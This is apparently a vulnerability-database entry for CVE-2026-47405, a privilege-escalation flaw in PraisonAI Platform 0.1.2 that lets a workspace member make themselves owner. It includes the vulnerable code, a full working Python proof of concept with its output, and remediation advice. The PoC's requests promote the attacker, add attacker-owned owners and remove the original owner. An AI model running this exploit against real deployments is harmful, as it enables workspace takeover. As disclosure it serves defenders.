PraisonAI Platform CVE-2026-47405
HIGHSeverity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
PraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to owner.
The issue is caused by privileged workspace-management routes using the shared dependency require_workspace_member(...) without requiring admin or owner. The dependency defaults to min_role="member", so routes that should be administrative are accessible to ordinary workspace members.
As a result, a normal workspace member can:
- promote their own account from
membertoowner; - add arbitrary users as
owneroradmin; - change other members' roles;
- remove legitimate owners or members;
- take over workspace membership completely;
- perform destructive workspace operations after escalation.
This is a broken access control / vertical privilege escalation vulnerability.
Details
The vulnerable authorization dependency is defined in:
praisonai_platform/api/deps.pyThe dependency defaults to the lowest workspace role:
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
) -> AuthIdentity:
...
has = await member_svc.has_role(workspace_id, user.id, min_role)Because min_role defaults to "member", any route using:
Depends(require_workspace_member)without explicitly passing a stronger role only requires ordinary workspace membership.
Privileged workspace-management routes in:
praisonai_platform/api/routes/workspaces.pyuse this dependency unchanged on administrative actions, including:
PATCH /workspaces/{workspace_id}
DELETE /workspaces/{workspace_id}
POST /workspaces/{workspace_id}/members
PATCH /workspaces/{workspace_id}/members/{user_id}
DELETE /workspaces/{workspace_id}/members/{user_id}These routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require admin or owner, but they currently require only member.
The membership service does not provide a second authorization layer. In:
praisonai_platform/services/member_service.pythe mutation methods perform the requested change after the route-level check passes:
async def add(...):
member = Member(workspace_id=workspace_id, user_id=user_id, role=role)
async def update_role(...):
member = await self.get(workspace_id, user_id)
member.role = new_role
async def remove(...):
member = await self.get(workspace_id, user_id)
await self._session.delete(member)Therefore, the weak route dependency is the effective authorization boundary.
A low-privilege user can also learn their own user.id from the normal authentication response. The login/register response includes the authenticated user object:
TokenResponse.token
TokenResponse.user.idThis allows an invited low-privilege member to target their own membership record and self-promote.
Affected component
Package: praisonai-platform
Verified version: 0.1.2
Verified source commit: d8a8a78
Affected components:
- praisonai_platform/api/deps.py
- praisonai_platform/api/routes/workspaces.py
- praisonai_platform/services/member_service.py
- praisonai_platform/api/routes/auth.py
- praisonai_platform/api/schemas.pyPoC
The following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.
The PoC:
- Creates the real FastAPI app with
praisonai_platform.api.app.create_app(). - Registers three users through the real
/api/v1/auth/registerroute. - Creates a workspace as the original owner.
- Adds the second user as a normal
member. - Logs in as that low-privilege member.
- Uses the low-privilege member token to self-promote to
owner. - Uses the same token to add a third account as
owner. - Uses the same token to remove the original owner.
- Confirms the workspace membership has been taken over.
Full PoC code
#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI Platform workspace RBAC bypass."""
from __future__ import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> None:
expected = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "member"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/workspaces.py": [
'@router.patch("/{workspace_id}", response_model=WorkspaceResponse)',
'@router.delete("/{workspace_id}", status_code=status.HTTP_204_NO_CONTENT)',
'@router.post("/{workspace_id}/members", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)',
'@router.patch("/{workspace_id}/members/{user_id}", response_model=MemberResponse)',
],
PLATFORM_ROOT / "praisonai_platform/services/member_service.py": [
"member.role = new_role",
"await self._session.delete(member)",
],
}
for path, needles in expected.items():
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():
raise SystemExit("missing local PraisonAI source tree")
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
# Minimal passlib stub for local replay environments where passlib is not installed.
# This keeps the PoC focused on the authorization bug rather than dependency setup.
if "passlib" not in sys.modules:
passlib_pkg = types.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
if "passlib.context" not in sys.modules:
passlib_context = types.ModuleType("passlib.context")
class _CryptContext:
def __init__(self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
# Keep JWT generation deterministic for the local replay.
os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"
from praisonai_platform.api.app import create_app
from praisonai_platform.db.base import Base, reset_engine
from praisonai_platform.db import base as base_mod
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
# 1. Register an owner account.
owner = await client.post(
"/api/v1/auth/register",
json={
"email": f"owner_{suffix}@example.com",
"password": password,
"name": f"owner_{suffix}",
},
)
# 2. Register a low-privilege member account.
member = await client.post(
"/api/v1/auth/register",
json={
"email": f"member_{suffix}@example.com",
"password": password,
"name": f"member_{suffix}",
},
)
# 3. Register a third attacker-controlled account.
extra = await client.post(
"/api/v1/auth/register",
json={
"email": f"extra_{suffix}@example.com",
"password": password,
"name": f"extra_{suffix}",
},
)
owner_json = owner.json()
member_json = member.json()
extra_json = extra.json()
owner_headers = {"Authorization": f"Bearer {owner_json['token']}"}
member_headers = {"Authorization": f"Bearer {member_json['token']}"}
# 4. Create a workspace as the owner.
workspace = await client.post(
"/api/v1/workspaces/",
json={
"name": f"ws-{suffix}",
"slug": f"ws-{suffix}",
"description": "rbac bypass poc",
},
headers=owner_headers,
)
workspace_id = workspace.json()["id"]
# 5. Owner adds the second user as a normal low-privilege member.
added_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={
"user_id": member_json["user"]["id"],
"role": "member",
},
headers=owner_headers,
)
# 6. Low-privilege member self-promotes to owner.
promoted = await client.patch(
f"/api/v1/workspaces/{workspace_id}/members/{member_json['user']['id']}",
json={
"role": "owner",
},
headers=member_headers,
)
# 7. The same formerly-low-privilege member adds a third account as owner.
added_owner = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={
"user_id": extra_json["user"]["id"],
"role": "owner",
},
headers=member_headers,
)
# 8. The same account removes the original owner.
removed_original_owner = await client.delete(
f"/api/v1/workspaces/{workspace_id}/members/{owner_json['user']['id']}",
headers=member_headers,
)
# 9. Confirm remaining membership state.
remaining_members = await client.get(
f"/api/v1/workspaces/{workspace_id}/members",
headers=member_headers,
)
remaining_roles = [m["role"] for m in remaining_members.json()]
print(f"[poc] owner_status={owner.status_code}")
print(f"[poc] member_status={member.status_code}")
print(f"[poc] extra_status={extra.status_code}")
print(f"[poc] workspace_status={workspace.status_code}")
print(f"[poc] add_status={added_member.status_code} role={added_member.json()['role']}")
print(f"[poc] promote_status={promoted.status_code} role={promoted.json()['role']}")
print(f"[poc] add_owner_status={added_owner.status_code} role={added_owner.json()['role']}")
print(f"[poc] remove_original_owner_status={removed_original_owner.status_code}")
print(f"[poc] remaining_roles={remaining_roles}")
if promoted.status_code != 200 or promoted.json()["role"] != "owner":
raise SystemExit("[poc] MISS: low-privilege member did not become owner")
if added_owner.status_code != 201 or added_owner.json()["role"] != "owner":
raise SystemExit("[poc] MISS: promoted attacker could not add a new owner")
if removed_original_owner.status_code != 204:
raise SystemExit("[poc] MISS: promoted attacker could not remove the original owner")
if remaining_roles.count("owner") < 2:
raise SystemExit("[poc] MISS: expected attacker-controlled owners after takeover")
print("[poc] HIT: low-privilege member became owner and took over workspace membership")
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
return 0
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))Observed output
[poc] owner_status=201
[poc] member_status=201
[poc] extra_status=201
[poc] workspace_status=201
[poc] add_status=201 role=member
[poc] promote_status=200 role=owner
[poc] add_owner_status=201 role=owner
[poc] remove_original_owner_status=204
[poc] remaining_roles=['owner', 'owner']
[poc] HIT: low-privilege member became owner and took over workspace membershipExpected secure behavior
The following request should be rejected when made by a plain member:
PATCH /api/v1/workspaces/{workspace_id}/members/{member_user_id}
Authorization: Bearer <member_token>
Content-Type: application/json
{
"role": "owner"
}Expected response:
403 ForbiddenActual vulnerable behavior
The request succeeds:
HTTP 200
role = ownerThe same account can then add attacker-controlled owners and remove the original owner.
Impact
A low-privilege workspace member can fully take over a workspace.
Impact includes:
- self-promoting from
membertoowneroradmin; - granting
owneroradminto attacker-controlled accounts; - changing other members' roles;
- removing legitimate owners or members;
- modifying workspace metadata and settings;
- deleting the workspace;
- taking over workspace-scoped issues, projects, labels, agents, and other resources after role escalation.
The attacker only needs an authenticated low-privilege membership in the target workspace. No race condition, special deployment, or administrator action is required.
AnalysisAI
Vertical privilege escalation in PraisonAI Platform versions 0.1.2 and earlier allows any authenticated low-privilege workspace member to self-promote to owner and take over the workspace. The flaw stems from administrative FastAPI routes reusing a shared authorization dependency that defaults to the lowest 'member' role, so role-mutation endpoints never enforce admin/owner checks. A working PoC is published in the GHSA-h37g-4h4p-9x97 advisory, though no public exploit identified at time of analysis in mass-exploitation form, and the issue is not currently in CISA KEV.
Technical ContextAI
PraisonAI Platform is a Python/FastAPI-based control plane for the open-source PraisonAI multi-agent framework (pkg:pip/praisonai-platform). Authorization for workspace-scoped endpoints relies on a single FastAPI dependency, require_workspace_member, defined in praisonai_platform/api/deps.py, which accepts a min_role keyword argument defaulting to 'member'. Administrative endpoints in praisonai_platform/api/routes/workspaces.py (PATCH/DELETE on workspaces and members) call Depends(require_workspace_member) without overriding min_role, so the membership service in services/member_service.py executes role mutations after only a 'member' check. This is a textbook CWE-284 (Improper Access Control) instance - the route-level guard is the only authorization boundary, and it is set to the wrong sensitivity tier, equivalent to mounting an admin handler behind an authenticated-only filter.
RemediationAI
Vendor-released patch: upgrade praisonai-platform to 0.1.4 or later via pip, per the GitHub advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-h37g-4h4p-9x97. If immediate upgrade is not feasible, the practical compensating control is to restrict workspace membership to fully trusted users only - do not invite external collaborators or grant the 'member' role to untrusted accounts, since any member can take over the workspace; additionally consider gating the /api/v1/workspaces/{id}/members and PATCH/DELETE /api/v1/workspaces/{id} routes at a reverse proxy to a small allowlist of admin user IDs (trade-off: breaks self-service workspace administration). A code-level hotfix is to explicitly pass min_role='owner' or min_role='admin' to require_workspace_member on the five privileged routes, or to add a second authorization check inside member_service.add/update_role/remove.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-284 – Improper Access Control
View allSame technique Privilege Escalation
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-h37g-4h4p-9x97